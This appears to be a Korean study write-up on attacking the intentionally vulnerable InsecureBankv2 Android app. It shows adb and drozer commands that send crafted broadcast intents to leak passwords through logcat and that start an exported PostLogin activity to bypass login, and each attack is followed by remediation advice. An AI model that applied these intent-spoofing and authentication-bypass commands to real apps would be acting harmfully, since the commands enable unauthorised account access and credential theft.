아래의 사항이 모두 정상적으로 수행되었다는 가정하에 작성함
안드로이드 기기에서 이벤트 발생 시 broadcast 신호를 보내는 데, Broadcast Receiver가 신호를 받아 처리함
이때 Broadcast 신호가 악의적 애플리케이션에 의해 발생하거나 공격자에 대해 임의로 생성 가능하다.
# am broadcast -a theBroadcast -n com.android.insecurebankv2/.MyBroadCastReceiver
am broadcast : 안드로이드 디바이스에 broadcast intent를 보냄
-a : action을 지정
-n : intent를 수신할 대상 component 지정
PS> adb logcat -s System.out:I
# am broadcasat -a theBroadccast -n com.android.insecurebankv2/.MyBroadCasstReceiver --es phonenumber 5555 --es newpass test
=> 안드로이드 디바이스에 악의적인 intent로 공격할 수 있음
: 안드로이드 취약점 진단 도구
(drozer 앱실행)
dz> run app.package.attacksurface com.android.insecrebankv2
dz> run app.broadcast.info -a com.android.insecurebankv2
dz> run app.broadcast.send --component com.android.insecurebankv2 com.android.insecurebankv2.MyBroadCastReceiver --extra string phonenumber 1111 --extra string newpass test
=> 위 공격 수행 후 log출력(logcat) 시 InsecureBankv2 앱의 패스워드 정보가 포함됨
: MyBroadcastReceiver의 onReceive함수를 통해 intent가 전달될 때 보안상 중요한 정보(예.password, phone numer)를 포함한 데이터를 그대로 발신하고(send) 처리하게 되는데 이 때문에 누구나 ‘adb logcat’ 명령어를 통해 로그#에서 해당 데이터를 열람할 수 있다는 취약점을 확인
: 인텐트를 처리하기 전에 인텐트의 중요한 데이터를 암호화 함으로써 중요한 정보가 노출되지 않도록 방어할 수 있다. 또한 비밀번호,
계좌정보와 같은 중요한 정보가 포함된 인텐트를 받아들이지 않도록 방어할 수 있다.
: 애플리케이션에서 요구하는 정상적인 인증 절차를 우회하여 비정상적 루트로 접근 권한을 획득 가능
adb shell am start com.android.insecurebankv2/com.android.insecurebankv2.PostLogin
(앱의 액티비티 권한 정보 확인)
dz > run app.activity.info -a com.android.insecurebankv2
com.androidl.insercurebankv2.PostLogin
permission : null 임을 확인하고 다음의 공격을 수행
(우회하여 액티비티 접근)
dz> run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.PostLogin
- --component : 실행할 액티비티의 패키지명과 클래스명을 지정(com.android.insecurebankv2 애플리케이션의 PostLogin 액티비티를 지정)
: PostLogin 액티비티와 DoTransfer 액티비티의 android:exported=”true”로 설정되어 있으며 이때문
에 해당 액티비티가 다른 애플리케이션에서도 로그인의 인증 절차를 거치지 않고도 접근이 가능하며 이에 따라 악의적인 애플리케이션이 해당 액티비티에 접근하여 공격할 수 있다는 취약점을 확인
: AndroidManifest.xml파일의 android:exported=”true”의 속성을 false로 바꾸어 외부에서 호출하는 것을 막을 수 있다. 또한 인증기능을 추가하여 계좌이체, 비밀번호 변경과 같은 민감한 작업을 수행할 때 인증기능을 추가하여 작업을 수행하는 주체(사용자)를 확인할 수 있도록 한다. 가령 사용자의 ID와 비밀번호를 입력받아 인증받기전에는 해당 액티비티에 접근을 막는 것이다
모바일쪽으로 공부하시는군요.